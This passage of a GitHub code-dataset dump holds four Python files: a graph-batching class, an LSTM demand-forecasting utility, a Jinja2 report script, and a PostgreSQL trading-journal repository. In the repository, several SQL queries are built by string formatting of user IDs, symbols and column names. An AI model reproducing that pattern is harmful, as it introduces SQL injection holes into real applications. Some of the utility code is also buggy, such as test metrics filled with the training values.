tensor of shape `(num_edges, *global_features_shape)`\n \"\"\"\n return repeat_tensor(self.global_features, self.num_edges_by_graph)\n\n def global_features_as_nodes(self) -> torch.Tensor:\n \"\"\"Broadcast `global_features` along the the first dimension to match `node_features`,\n respecting the node-to-graph assignment\n\n Returns:\n a tensor of shape `(num_nodes, *global_features_shape)`\n \"\"\"\n return repeat_tensor(self.global_features, self.num_nodes_by_graph)\n\n def __getitem__(self, graph_index):\n \"\"\"Use for random access, as in `batch[i]`. For sequential access use `iter(batch)` or `for g in batch`\n \"\"\"\n node_offset = self.num_nodes_by_graph[:graph_index].sum()\n edge_offset = self.num_edges_by_graph[:graph_index].sum()\n n_nodes = self.num_nodes_by_graph[graph_index]\n n_edges = self.num_edges_by_graph[graph_index]\n return Graph(\n num_nodes=n_nodes.item(),\n num_edges=n_edges.item(),\n node_features=None if self.node_features is None else self.node_features[node_offset:node_offset + n_nodes],\n edge_features=None if self.edge_features is None else self.edge_features[edge_offset:edge_offset + n_edges],\n global_features=self.global_features[graph_index] if self.global_features is not None else None,\n senders=self.senders[edge_offset:edge_offset + n_edges] - node_offset,\n receivers=self.receivers[edge_offset:edge_offset + n_edges] - node_offset\n )\n\n def __iter__(self):\n \"\"\"Use for sequential access, as in `iter(batch)` or `for g in batch`. For random access use `batch[i].`\n \"\"\"\n node_slices = segment_lengths_to_slices(self.num_nodes_by_graph)\n edge_slices = segment_lengths_to_slices(self.num_edges_by_graph)\n for graph_index, node_slice, edge_slice in zip(range(self.num_graphs), node_slices, edge_slices):\n yield Graph(\n num_nodes=self.num_nodes_by_graph[graph_index].item(),\n num_edges=self.num_edges_by_graph[graph_index].item(),\n node_features=self.node_features[node_slice] if self.node_features is not None else None,\n edge_features=self.edge_features[edge_slice] if self.edge_features is not None else None,\n global_features=self.global_features[graph_index] if self.global_features is not None else None,\n senders=self.senders[edge_slice] - node_slice.start,\n receivers=self.receivers[edge_slice] - node_slice.start\n )\n \n def __repr__(self):\n return (f\"{self.__class__.__name__}(\"\n f\"#{self.num_graphs}, \"\n f\"n={self.num_nodes_by_graph}, \"\n f\"e={self.num_edges_by_graph}, \"\n f\"n_shape={self.node_features_shape}, \"\n f\"e_shape={self.edge_features_shape}, \"\n f\"g_shape={self.global_features_shape})\")\n\n def to_networkxs(self):\n return [g.to_networkx() for g in self]\n\n def to_graphs(self):\n return list(self)\n\n @classmethod\n def from_graphs(cls, graphs: Sequence[Graph]) -> GraphBatch:\n \"\"\"Merges multiple graphs in a batch. All node, edge and graph features must have the same shape if present.\n\n If some graph of the sequence have values for `node_features`, `edge_features`, but some of the others\n don't (maybe they were created with `num_nodes = 0` or `num_edges = 0` and None as node/edge features),\n this method will still try to correctly batch the graphs together. It is however advised to replace the None\n values on those graphs with empty tensors of shape `(0, *node_features_shape)` and `(0, *edge_features_shape)`.\n \n The field `global_features` is instead required to be either present on all graphs or absent from all graphs.\n \"\"\"\n # TODO if the graphs in `graphs` require grad the resulting batch should require grad too\n if len(graphs) == 0:\n raise ValueError('Graphs list can not be empty')\n\n node_features = []\n edge_features = []\n global_features = []\n num_nodes_by_graph = []\n num_edges_by_graph = []\n senders = []\n receivers = []\n node_offset = 0\n for i, g in enumerate(graphs):\n if g.node_features is not None:\n node_features.append(g.node_features)\n if g.edge_features is not None:\n edge_features.append(g.edge_features)\n if g.global_features is not None:\n global_features.append(g.global_features)\n num_nodes_by_graph.append(g.num_nodes)\n num_edges_by_graph.append(g.num_edges)\n senders.append(g.senders + node_offset)\n receivers.append(g.receivers + node_offset)\n node_offset += g.num_nodes\n\n from torch.utils.data.dataloader import _use_shared_memory\n\n if len(node_features) > 0:\n out = None\n if _use_shared_memory:\n numel = sum([x.numel() for x in node_features])\n storage = node_features[0].storage()._new_shared(numel)\n out = node_features[0].new(storage)\n node_features = torch.cat(node_features, out=out)\n else:\n node_features = None\n\n if len(edge_features) > 0:\n out = None\n if _use_shared_memory:\n numel = sum([x.numel() for x in edge_features])\n storage = edge_features[0].storage()._new_shared(numel)\n out = edge_features[0].new(storage)\n edge_features = torch.cat(edge_features, out=out)\n else:\n edge_features = None\n\n if len(global_features) == len(graphs):\n out = None\n if _use_shared_memory:\n numel = sum([x.numel() for x in global_features])\n storage = global_features[0].storage()._new_shared(numel)\n out = global_features[0].new(storage)\n global_features = torch.stack(global_features, out=out)\n elif len(global_features) == 0:\n global_features = None\n else:\n raise ValueError('The field `global_features` must either be None on all graphs or present on all graphs')\n\n out = None\n if _use_shared_memory:\n numel = sum([x.numel() for x in senders])\n storage = graphs[0].senders.storage()._new_shared(numel)\n out = senders[0].new(storage)\n senders = torch.cat(senders, out=out)\n\n out = None\n if _use_shared_memory:\n numel = sum([x.numel() for x in receivers])\n storage = graphs[0].receivers.storage()._new_shared(numel)\n out = receivers[0].new(storage)\n receivers = torch.cat(receivers, out=out)\n\n return cls(\n num_nodes=node_offset,\n num_edges=len(senders),\n num_nodes_by_graph=senders.new_tensor(num_nodes_by_graph),\n num_edges_by_graph=senders.new_tensor(num_edges_by_graph),\n node_features=node_features,\n edge_features=edge_features,\n global_features=global_features,\n senders=senders,\n receivers=receivers\n )\n\n @classmethod\n def from_networkxs(cls, networkxs: Iterable[nx.Graph]) -> GraphBatch:\n return cls.from_graphs([Graph.from_networkx(graph_nx) for graph_nx in networkxs])\n\n @classmethod\n def collate(cls, samples):\n \"\"\"Collates a sequence of samples containing graphs into a batch\n\n The samples in the sequence can contain multiple types of inputs, such as:\n\n >>> [\n >>> (input_graph, tensor, other_tensor, output_graph),\n >>> (input_graph, tensor, other_tensor, output_graph),\n >>> ...\n >>> ]\n\n \"\"\"\n if isinstance(samples[0], Graph):\n return cls.from_graphs(samples)\n elif isinstance(samples[0], collections.abc.Mapping):\n return {key: cls.collate([d[key] for d in samples]) for key in samples[0]}\n elif isinstance(samples[0], collections.abc.Sequence):\n transposed = zip(*samples)\n return [cls.collate(samples) for samples in transposed]\n else:\n return default_collate(samples)\n\n\nclass _BatchView(object):\n def __init__(self, batch: GraphBatch):\n self._batch = batch\n self._pooling_functions = {\n 'mean': lambda src, idx: torch_scatter.scatter_mean(src, idx, dim=0, dim_size=batch.num_graphs),\n 'sum': lambda src, idx: torch_scatter.scatter_add(src, idx, dim=0, dim_size=batch.num_graphs),\n 'max': lambda src, idx: torch_scatter.scatter_max(src, idx, dim=0, dim_size=batch.num_graphs)[0],\n }\n\n def __len__(self):\n return self._batch.num_graphs\n\n\nclass _BatchNodeView(_BatchView):\n def __getitem__(self, graph_index) -> torch.Tensor:\n node_offset = self._batch.num_nodes_by_graph[:graph_index].sum()\n num_nodes = self._batch.num_nodes_by_graph[graph_index]\n return self._batch.node_features[node_offset:node_offset + num_nodes]\n\n def __iter__(self) -> Iterator[torch.Tensor]:\n for slice_ in segment_lengths_to_slices(self._batch.num_nodes_by_graph):\n yield self._batch.node_features[slice_]\n\n def as_tuple(self) -> Tuple[torch.Tensor]:\n \"\"\"Convenience method to get a tuple of non-aggregated node features.\n\n Better than building a tuple from the iterator: `tuple(batch.node_features_by_graph)`\"\"\"\n return torch.split_with_sizes(self._batch.node_features, self._batch.num_nodes_by_graph.tolist(), dim=0)\n\n def __call__(self, aggregation) -> torch.Tensor:\n aggregation = self._pooling_functions[aggregation]\n return aggregation(self._batch.node_features, segment_lengths_to_ids(self._batch.num_nodes_by_graph))\n\n\nclass _BatchEdgeView(_BatchView):\n def __getitem__(self, graph_index) -> torch.Tensor:\n edge_offset = self._batch.num_edges_by_graph[:graph_index].sum()\n num_edges = self._batch.num_edges_by_graph[graph_index]\n return self._batch.edge_features[edge_offset:edge_offset + num_edges]\n\n def __iter__(self) -> Iterator[torch.Tensor]:\n for slice_ in segment_lengths_to_slices(self._batch.num_edges_by_graph):\n yield self._batch.edge_features[slice_]\n\n def as_tuple(self) -> Tuple[torch.Tensor]:\n \"\"\"Convenience method to get a tuple of non-aggregated edge features.\n\n Better than building a tuple from the iterator: `tuple(batch.edge_features_by_graph)`\"\"\"\n return torch.split_with_sizes(self._batch.edge_features, self._batch.num_edges_by_graph.tolist(), dim=0)\n\n def __call__(self, aggregation) -> torch.Tensor:\n aggregation = self._pooling_functions[aggregation]\n return aggregation(self._batch.edge_features, segment_lengths_to_ids(self._batch.num_edges_by_graph))\n","repo_name":"gn-exp/gn-exp","sub_path":"src/torchgraphs/data/graphbatch.py","file_name":"graphbatch.py","file_ext":"py","file_size_in_byte":16452,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"53"}
+{"seq_id":"71078097129","text":"import os\nimport sys\nimport numpy as np\nimport pandas as pd\nimport pickle\nimport matplotlib.pyplot as plt\n#sys.path.append(\"BIXI-Demand-Prediction/src\")\nfrom src.exception import CustomException\n\n\n#######################################################################\n# the source of randomness can be fixed to make results reproducible\nfrom numpy.random import seed\nimport itertools\n#######################################################################\nfrom keras.models import Sequential, Model\nfrom keras.layers import Input, Dense, LSTM, Bidirectional, Conv1D, MaxPooling1D, Dropout, Flatten, BatchNormalization, concatenate, TimeDistributed\nfrom keras.callbacks import ModelCheckpoint, EarlyStopping\n\n#######################################################################\nfrom sklearn.metrics import r2_score, mean_absolute_error, mean_squared_error\nfrom sklearn.preprocessing import StandardScaler, MinMaxScaler\n##########################################################################\nimport tensorflow as tf\nfrom keras.models import save_model, load_model\n\n\nclass utility:\n \n def save_object(file_path, obj, h5=False):\n try:\n dir_path = os.path.dirname(file_path)\n os.makedirs(dir_path, exist_ok=True)\n if h5:\n save_model(obj, file_path)\n \n else:\n with open(file_path, 'wb') as file_obj:\n pickle.dump(obj, file_obj)\n \n except Exception as e:\n raise CustomException(e, sys)\n\n def load_object(file_path, h5=False):\n try:\n if h5:\n return load_model(file_path, compile=False)\n else:\n with open(file_path, 'rb') as file_obj:\n return pickle.load(file_obj)\n \n except Exception as e:\n raise CustomException(e, sys)\n\n \n def split_sequence(sequence, lag, new_input=False):\n '''\n This function splits a given univariate sequence into\n multiple samples where each sample has a specified number\n of time steps and the output is a single time step.\n param new_input: If True it is used for predicting new input\n '''\n try:\n if new_input:\n X = list()\n for i in range(len(sequence)):\n # find the end of this pattern\n end_ix = i + history_length\n # check if we are beyond the sequence\n if end_ix > len(sequence):\n break\n # gather input and output parts of the pattern\n seq_x = sequence[i:end_ix]\n X.append(seq_x)\n return np.array(X)\n \n else:\n X, y = list(), list()\n for i in range(len(sequence)):\n # find the end of this pattern\n end_ix = i + lag\n # check if we are beyond the sequence \n if end_ix > len(sequence)-1:\n break\n # gather input and output parts of the pattern\n seq_x, seq_y = sequence[i:end_ix], sequence[end_ix]\n X.append(seq_x)\n y.append(seq_y)\n return np.array(X), np.array(y)\n \n except Exception as e:\n raise CustomException(e, sys)\n \n def convert_to_supervised(dat, lag):\n '''\n This function takes a 2D sequennce, scales the array and splits\n a given multivariate sequence into multiple samples where each sample has a specified number\n of time steps. It returns multiple time steps as well as the scaler.\n param df (DataFrame): Bike sharing demand for each community over time\n param lag (int): History length or time lag\n '''\n \n try:\n if isinstance(dat, np.ndarray):\n pass\n else:\n dat = dat.values\n \n m, n = dat.shape\n # e.g., if lag = 7, BIXI demand of past 7*15 minutes\n X = np.zeros((m-lag,lag, n))\n Y = np.zeros((m-lag,n))\n\n for i in range(0,n):\n x, y = utility.split_sequence(dat[:,i], lag)\n X[:,:,i] = x\n Y[:,i] = y\n return X, Y\n \n except Exception as e:\n raise CustomException(e, sys)\n \n def convert_to_CNN_input(X, n_seq, n_steps):\n try:\n m, _, n = X.shape \n return X.reshape((m, n_seq, n_steps, n))\n \n except Exception as e:\n raise CustomException(e, sys)\n\n \n def integer_factor(n):\n \"\"\" This function calculates integer factorization of n\n and then returns them as two multiplications\n \"\"\"\n def is_prime(n):\n if n == 1:\n return False\n if n % 2 == 0:\n return False\n i = 3\n while i * i <= n:\n if n % i == 0:\n return False\n i += 2\n return True\n\n def prime_factors(n):\n prime_factor_list = []\n prime_factor_list.append(1)\n for i in itertools.chain([2], itertools.count(3, 2)):\n if n <= 1:\n break\n while n % i == 0:\n n //= i\n prime_factor_list.append(i)\n return prime_factor_list\n \n lst = prime_factors(n)\n lng = len(lst)\n half= int(np.round(lng/2+1))\n list1, list2 = lst[0:half], lst[half:]\n n_steps, n_sequence = np.prod(list1), np.prod(list2)\n return n_steps, n_sequence\n\n ######################### Deep Learning Models Archituctures ############################\n # LSTM family\n def one_LSTM(n_steps_in, n_features, n_steps_out, lstm_size, dropout, dc_size):\n model = Sequential()\n model.add(BatchNormalization(input_shape=(n_steps_in, n_features)))\n model.add(LSTM(lstm_size, dropout=dropout, recurrent_dropout=0, activation='tanh', return_sequences=True))\n model.add(BatchNormalization())\n model.add(Flatten())\n model.add(Dense(dc_size))\n model.add(Dropout(dropout))\n model.add(Dense(n_steps_out))\n model.compile(optimizer='adam', loss='mean_squared_error',metrics=['MSE'])\n return model\n\n def one_biLSTM(n_steps_in, n_features, n_steps_out, lstm_size, dropout, dc_size):\n model = Sequential()\n model.add(BatchNormalization(input_shape=(n_steps_in, n_features)))\n model.add(Bidirectional(LSTM(lstm_size, dropout=dropout, recurrent_dropout=0, activation='tanh', return_sequences=True)))\n model.add(BatchNormalization())\n model.add(Flatten())\n model.add(Dense(dc_size))\n model.add(Dropout(dropout))\n model.add(Dense(n_steps_out))\n model.compile(optimizer='adam', loss='mean_squared_error',metrics=['MSE'])\n return model\n\n \n ## CNN-LSTM family\n def TreNet_LSTM(n_steps_in, n_features, n_steps_out, filters, lstm_size, dropout, dc_size):\n n_steps, n_seq = utility.integer_factor(n_steps_in)\n model = Sequential()\n model.add(TimeDistributed(Conv1D(filters=filters, kernel_size=1),\n input_shape=(None, n_steps, n_features)))\n model.add(TimeDistributed(Conv1D(filters=filters, kernel_size=1, activation='relu')))\n model.add(TimeDistributed(Flatten()))\n model.add(LSTM(lstm_size, activation='tanh', recurrent_dropout=0))\n model.add(Dense(dc_size))\n model.add(Dropout(dropout))\n model.add(Dense(n_steps_out))\n model.compile(optimizer='adam', loss='mean_squared_error',metrics=['MSE'])\n return model\n\n def TreNet_biLSTM(n_steps_in, n_features, n_steps_out, filters, lstm_size, dropout, dc_size):\n n_steps, n_seq = utility.integer_factor(n_steps_in)\n model = Sequential()\n model.add(TimeDistributed(Conv1D(filters=filters, kernel_size=1),\n input_shape=(None, n_steps, n_features)))\n model.add(TimeDistributed(Conv1D(filters=filters, kernel_size=1, activation='relu')))\n model.add(TimeDistributed(Flatten()))\n model.add(Bidirectional(LSTM(lstm_size, dropout=dropout, recurrent_dropout=0, activation='tanh')))\n model.add(Dense(dc_size))\n model.add(Dropout(dropout))\n model.add(Dense(n_steps_out))\n model.compile(optimizer='adam', loss='mean_squared_error',metrics=['MSE'])\n return model\n \n \n ######################### Model Performance & Visualization ############################\n def model_loss(history,label2='Validation Loss'):\n plt.figure(figsize=(8,4))\n plt.plot(history.history['loss'], label='Train Loss')\n plt.plot(history.history['val_loss'], label=label2)\n plt.title('model loss')\n plt.ylabel('loss')\n plt.xlabel('epochs')\n plt.legend(loc='upper right')\n plt.grid(linestyle=\"--\")\n plt.show();\n\n def evaluate_forecasts(actual, predicted, text = \"Test\", plot=True):\n \"\"\"\n Evaluate prediction performance based on RMSE and MAE\n \"\"\"\n RMSEs = list()\n MAEs = list()\n # calculate an RMSE score for each day\n for i in range(actual.shape[1]):\n # calculate mse\n mse = mean_squared_error(actual[:, i], predicted[:, i])\n # calculate rmse\n rmse = np.sqrt(mse)\n # store\n RMSEs.append(rmse)\n\n # calculate mae\n mae = mean_absolute_error(actual[:,i], predicted[:,i])\n # store\n MAEs.append(mae)\n\n # calculate overall RMSE and MAE\n y_true = actual.flatten()\n y_hat = predicted.flatten()\n\n overal_mae = mean_absolute_error(y_true, y_hat)\n overal_rmse = np.sqrt(mean_squared_error(y_true, y_hat))\n\n print(\"#### Evaluating performance metrics ####\")\n print(\"\\n====\"+ text+\" SET ====\")\n print(\"MAE: {0:.3f}\".format(overal_mae))\n print(\"RMSE: {0:.3f}\".format(overal_rmse))\n print(\"MAEs: \", np.round(MAEs,3))\n print(\"RMSEs: \", np.round(RMSEs,3))\n\n if plot:\n plt.plot(np.arange(len(RMSEs)), RMSEs, label=True)\n plt.plot(np.arange(len(MAEs)), MAEs, label=True)\n plt.grid(linestyle=\"--\")\n plt.xlabel(\"Community number\")\n plt.legend([\"RMSE\", \"MAE\"])\n plt.title(\"Performance metrics for \"+ text +\" dataset\")\n plt.show()\n\n return overal_mae, MAEs, overal_rmse, RMSEs\n \n ############################### Running Models ####################################### \nclass RunningDeepLearningModel:\n def __init__(self, X_train, y_train, X_test, y_test, train_val_ratio=0.8):\n self.X_train = X_train\n self.y_train = y_train\n self.X_test = X_test \n self.y_test = y_test \n self.train_val_ratio = train_val_ratio\n \n \n \n def model_performance(self, Model, lstm_size, dropout, dc_size, batch_size, epoch, patience, filters, **kwargs):\n self.epoch = epoch\n self.batch_size = batch_size\n \n try:\n if Model.__name__ in ['TreNet_LSTM', 'TreNet_biLSTM']:\n CNN = True\n assert filters is not None, 'WARNING: Provide number of filters in payload!'\n elif Model.__name__ in ['one_LSTM', 'one_biLSTM']:\n CNN = False\n assert filters is None, 'WARNING: Change filters to None in payload!'\n else:\n return ('Warning: The model does not exist!')\n\n n_features, n_steps_out, n_steps_in = self.X_train.shape[2], self.X_train.shape[2], self.X_train.shape[1]\n \n if CNN:\n assert filters is not None, 'WARNING: Number of filters must be provided!'\n n_steps, n_seq = utility.integer_factor(n_steps_in)\n \n # reshape from [samples, timesteps, features] into [samples, subsequences, timesteps, features]\n self.X_train = self.X_train.reshape((self.X_train.shape[0], n_seq, n_steps, n_features))\n self.X_test = self.X_test.reshape((self.X_test.shape[0], n_seq, n_steps, n_features))\n \n input_size = {'n_seq':n_seq, 'n_steps':n_steps}\n model = Model(n_steps_in, n_features, n_steps_out, filters, lstm_size, dropout, dc_size)\n\n else:\n input_size = {'n_seq':None, 'n_steps':None}\n model = Model(n_steps_in, n_features, n_steps_out, lstm_size, dropout, dc_size)\n \n model.summary() \n history = model.fit(\n self.X_train,\n self.y_train,\n epochs=epoch,\n batch_size=batch_size,\n verbose=2,\n validation_split=self.train_val_ratio,\n callbacks=[EarlyStopping(monitor='val_loss', patience=patience)]\n )\n \n results=dict()\n train_set, test_set = dict(), dict()\n utility.model_loss(history)\n\n ## Forcasting test and training data\n y_hat_test = model.predict(self.X_test)\n y_hat_train = model.predict(self.X_train)\n\n mae_test, MAEs_test, rmse_test, RMSEs_test = utility.evaluate_forecasts(self.y_test, y_hat_test, \"Test\")\n mae_train, MAEs_train, rmse_train, RMSEs_train = utility.evaluate_forecasts(self.y_train, y_hat_train, \"Train\")\n \n train_set['mae'], train_set['MAEs'], train_set['rmse'], train_set['RMSEs'] = mae_train, MAEs_train, rmse_train, RMSEs_train\n test_set['mae'], test_set['MAEs'], test_set['rmse'], test_set['RMSEs'] = mae_train, MAEs_train, rmse_train, RMSEs_train \n results['train_performance'], results['test_performance'] = train_set, test_set\n\n return Model.__name__, model, results, input_size\n \n except Exception as e:\n raise CustomException(e, sys) \n \n \n \n\n ","repo_name":"Meghdad-DTU/BIXI-Demand-Prediction","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":14276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"34134342126","text":"import json\nimport time\nfrom jinja2 import Environment, FileSystemLoader, StrictUndefined, Template\nimport pandas as pd\nimport re\n\n\n\"\"\"\nFirst this script has to be executed alone.\nThen, once outputFile has been created, execute the following:\n $ python3 -m http.server -d html_report\nThen open a web browser an type on the URL: 'localhost:8000', and the created page should appear.\n\"\"\"\n\n\ndef reader_generator(file):\n while True:\n line = file.readline().strip()\n if not line:\n break\n # time.sleep(0.5)\n yield line\n\n\n# home\nvariants_disgenet = \"/home/ricard/PycharmProjects/vcf_annotation_tool/output_vcf/testing_vdas.tsv\"\nlog_file = \"/home/ricard/PycharmProjects/vcf_annotation_tool/output_vcf/vdas_logs.log\"\noutputFile = \"index.html\"\n\nvcf = pd.read_csv(variants_disgenet, sep=\"\\t\")\n\ncounter_found_items = 0\nnot_found_counter = 0\nerror_counter = 0\nwith open(log_file, 'r') as i_file:\n for line in reader_generator(i_file):\n if 'No information' in line:\n not_found_counter += 1\n elif 'INPUT' in line:\n input_file = re.findall('\\/.+', line)[0]\n elif 'OUTPUT' in line:\n output_file = re.findall('\\/.+', line)[0]\n elif 'ENDPOINT' in line:\n endpoint = re.findall('https:\\/\\/.+', line)[0]\n elif 'ERROR' in line:\n error_counter += 1\n elif 'EXECUTION TIME' in line:\n matches = re.findall('\\d+\\.?\\d*', line)\n minutes = matches[0]\n seconds = matches[1]\n elif 'Added rsID' in line:\n counter_found_items += 1\n\n# vcf = pd.DataFrame(data=vcf[1:], columns=vcf[0])\n# vcf_json = vcf.to_json(orient='records')\nvcf_dict = vcf.to_dict(orient='records')\n\nfileLoader = FileSystemLoader(\"templates\")\nenv = Environment(loader=fileLoader, undefined=StrictUndefined)\n\nrendered = env.get_template(\"report.html\").render(vcf_dict = vcf_dict, title = \"List of variants returned by DISGENET plus API\", counterFoundItems = counter_found_items, notFoundCounter = not_found_counter, errorCounter = error_counter, inputFile = input_file, outputFile = output_file, endpoint = endpoint, minutes = minutes, seconds = seconds) # inside render there can be all the variables that we need. The names have to correspond to the ones present in the 'get_template()' file\n\nwith open(\"./html_report/{}\".format(outputFile), \"w\") as out_f:\n out_f.write(rendered)\n\n","repo_name":"ricardlambea/vcf_annotation_tool","sub_path":"html/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"7890056420","text":"import hashlib\nimport auth_public as auth\n\nimport psycopg2, psycopg2.extensions, psycopg2.extras\npsycopg2.extensions.register_type(psycopg2.extensions.UNICODE) # se znebimo problemov s šumniki\n\nfrom typing import List, TypeVar, Type\nfrom modeli import *\nfrom csv import reader\nfrom re import sub, findall\nfrom datetime import date\nfrom pandas import DataFrame\nfrom dataclasses import fields\nimport os\n\nDB_PORT = os.environ.get('POSTGRES_PORT', 5432)\n\n# Ustvarimo generično TypeVar spremenljivko. Dovolimo le naše entitene, ki jih imamo tudi v bazi\n# kot njene vrednosti. Ko dodamo novo entiteno, jo moramo dodati tudi v to spremenljivko.\nT = TypeVar(\n 'T',\n app_user,\n pair,\n price_history,\n asset,\n trade\n )\n\nclass Repo:\n\n def __init__(self):\n self.conn = psycopg2.connect(database=auth.db, host=auth.host, user=auth.user, password=auth.password, port=DB_PORT)\n self.cur = self.conn.cursor(cursor_factory=psycopg2.extras.DictCursor)\n\n\n def dobi_gen_id(self, typ: Type[T], id: int | str, id_col = 'id') -> T:\n ''' Generična metoda, ki vrne dataclass objekt \n pridobljen iz baze na podlagi njegovega idja. '''\n tbl_name = typ.__name__\n sql_cmd = f'SELECT * FROM {tbl_name} WHERE {id_col} = %s';\n try:\n self.cur.execute(sql_cmd, (id,))\n d = self.cur.fetchone()\n except:\n self.conn.rollback()\n raise Exception(f'Vrstica z id-jem {id} ne obstaja v {tbl_name}');\n return d\n\n\n def dodaj_gen(self, typ: T, serial_col='id', auto_commit=True):\n ''' Generična metoda, ki v bazo doda entiteto/objekt. \n V kolikor imamo definiran serial stolpec,\n objektu to vrednost tudi nastavimo. '''\n tbl_name = type(typ).__name__\n\n cols =[c.name for c in fields(typ) if c.name != serial_col]\n \n sql_cmd = f'''\n INSERT INTO {tbl_name} ({', '.join(cols)})\n VALUES\n ({self.cur.mogrify(','.join(['%s']*len(cols)), [getattr(typ, c) for c in cols]).decode('utf-8')})\n '''\n\n if serial_col != None:\n sql_cmd += f'RETURNING {serial_col}'\n\n self.cur.execute(sql_cmd)\n\n if serial_col != None:\n serial_val = self.cur.fetchone()[0]\n\n # Nastavimo vrednost serial stolpca\n setattr(typ, serial_col, serial_val)\n\n if auto_commit: self.conn.commit()\n \n\n ########################################################################\n ####################### USER ###############################\n ########################################################################\n\n def get_user(self, user_id: int) -> list:\n self.cur.execute('''\n SELECT name, surname, date_of_birth, user_name, password \n FROM app_user\n WHERE id_user = %s\n ''', (user_id,))\n return self.cur.fetchone()\n\n\n def posodobi_user(self, user_id: int, ime: str, priimek: str, datum: date, geslo: str):\n if geslo != '':\n h = hashlib.blake2b()\n h.update(geslo.encode(encoding='utf-8'))\n hash = h.hexdigest()\n self.cur.execute('''\n UPDATE app_user\n SET name = %s, surname = %s, date_of_birth = %s, password = %s\n WHERE id_user = %s; \n ''', (ime, priimek, datum, hash, user_id,))\n else:\n self.cur.execute('''\n UPDATE app_user\n SET name = %s, surname = %s, date_of_birth = %s\n WHERE id_user = %s; \n ''', (ime, priimek, datum, user_id,))\n self.conn.commit()\n\n ########################################################################\n ###################### ASSETS ##############################\n ########################################################################\n\n def uvozi_Price_History(self, tabela: str):\n ''' Vnese zgodovino simbola v tabelo price_history '''\n with open('Podatki/Posamezni_simboli/{0}'.format(tabela)) as csvfile:\n podatki = reader(csvfile)\n next(podatki)\n for r in podatki:\n r = [None if x in ('', '-') else x for x in r]\n self.cur.execute('''\n INSERT INTO price_history\n (symbol_id, date, price)\n VALUES (%s, %s, %s)\n ''', r)\n self.conn.commit()\n print('Uspesno uvozil csv datoteko!')\n\n\n def dodaj_par(self, simbol: str, name: str) -> int:\n try:\n self.cur.execute('''\n INSERT INTO pair (symbol, name) \n VALUES (%s, %s)\n ''', (simbol, name))\n self.conn.commit()\n return 1\n except:\n self.conn.rollback()\n return 0\n\n\n def posodobi_price_history(self, df: DataFrame | None):\n if not df is None:\n for i in df.index:\n if df['price'][i] != 'NaN':\n self.cur.execute('''\n INSERT INTO price_history (symbol_id, date, price)\n VALUES (%s, %s, %s)\n ON CONFLICT (symbol_id, date)\n DO UPDATE SET price = {}\n '''.format(df['price'][i]), (df['symbol_id'][i], df['date'][i], df['price'][i]))\n self.conn.commit()\n \n\n def dobi_asset_by_user(self, id: int) -> List[str]:\n self.cur.execute('''\n SELECT * \n FROM asset \n WHERE user_id = %s\n ''', (id,))\n d = self.cur.fetchall()\n\n seznam = list()\n for i in d:\n seznam.append(i[1])\n return seznam\n \n\n def dobi_asset_amount_by_user(self, user_id: int) -> List[List]:\n self.cur.execute('''\n SELECT symbol_id, amount\n FROM asset\n WHERE user_id = %s\n ''', (user_id,))\n return self.cur.fetchall()\n \n\n def dobi_pare(self) -> List[List]:\n self.cur.execute('''\n SELECT symbol, name\n FROM pair\n ''')\n return self.cur.fetchall()\n\n\n ########################################################################\n ###################### TRADES ##############################\n ########################################################################\n\n def dobi_strategije(self, user_id: int) -> List[str]:\n self.cur.execute('''\n SELECT strategy \n FROM trade\n WHERE user_id = {} \n AND (type = 'L' OR type = 'S') \n GROUP BY strategy\n '''.format(user_id))\n zacasni = self.cur.fetchall()\n seznam = list()\n for item in zacasni:\n seznam.append(item[0])\n return seznam\n\n\n def sign(self, amount: float | str, tip: str) -> float:\n amount = float(amount)\n # Določi predznak\n if tip == 'Sell':\n return -abs(amount)\n return abs(amount)\n\n\n def trade_result(self, user_id: int, simbol: str, pnl: float):\n self.cur.execute('''\n SELECT amount \n FROM asset\n WHERE user_id = '{0}' \n AND symbol_id = '{1}'\n '''.format(user_id, simbol))\n row = self.cur.fetchone()\n if row is None:\n self.cur.execute('''\n INSERT INTO asset (user_id, symbol_id, amount) \n VALUES (%s, %s, %s)\n ''', (user_id, simbol, pnl))\n else:\n amount = round(pnl + float(row[0]), 2)\n self.cur.execute('''\n UPDATE asset \n SET amount = {0} \n WHERE user_id = '{1}' \n AND symbol_id = '{2}'\n '''.format(amount, user_id, simbol))\n self.conn.commit()\n\n\n def dobi_trade_delno(self, user_id: int, column='symbol_id') -> List[T]:\n ''' Če podamo stoplec nam seznam uredi glede na ta stolpec '''\n self.cur.execute('''\n SELECT id_trade, symbol_id, type, strategy, RR, target, date, duration, TP, PNL \n FROM trade\n WHERE user_id = {} \n ORDER BY {} \n '''.format(user_id, column))\n return self.cur.fetchall()\n\n\n def pnl_trade(self, user_id: int, simbol: str, pnl: float | str, brisi=False):\n dollar = findall(r'\\$', pnl)\n \n if dollar == []: # PNL doda pri assetu na katerem je trade\n if brisi == True:\n pnl = -float(pnl)\n Repo().trade_result(user_id, simbol, float(pnl))\n \n elif dollar != []: # PNL doda pri USD\n pnl = sub('\\$','',pnl)\n if brisi == True:\n pnl = -float(pnl)\n Repo().trade_result(user_id, 'USD', float(pnl))\n\n\n def izbrisi_trade(self, trade_id: int):\n\n # Preračuna asset\n self.cur.execute('''\n SELECT user_id, symbol_id, pnl \n FROM trade\n WHERE id_trade = %s\n ''', (trade_id,))\n trade = self.cur.fetchone()\n Repo().pnl_trade(trade[0], trade[1], trade[2], True)\n\n # Izbriše trade iz baze\n self.cur.execute('''\n DELETE FROM trade\n WHERE id_trade = %s \n ''', (trade_id,))\n self.conn.commit()\n","repo_name":"sarazuzek/Pomocnik-za-trgovanje","sub_path":"Database.py","file_name":"Database.py","file_ext":"py","file_size_in_byte":9331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
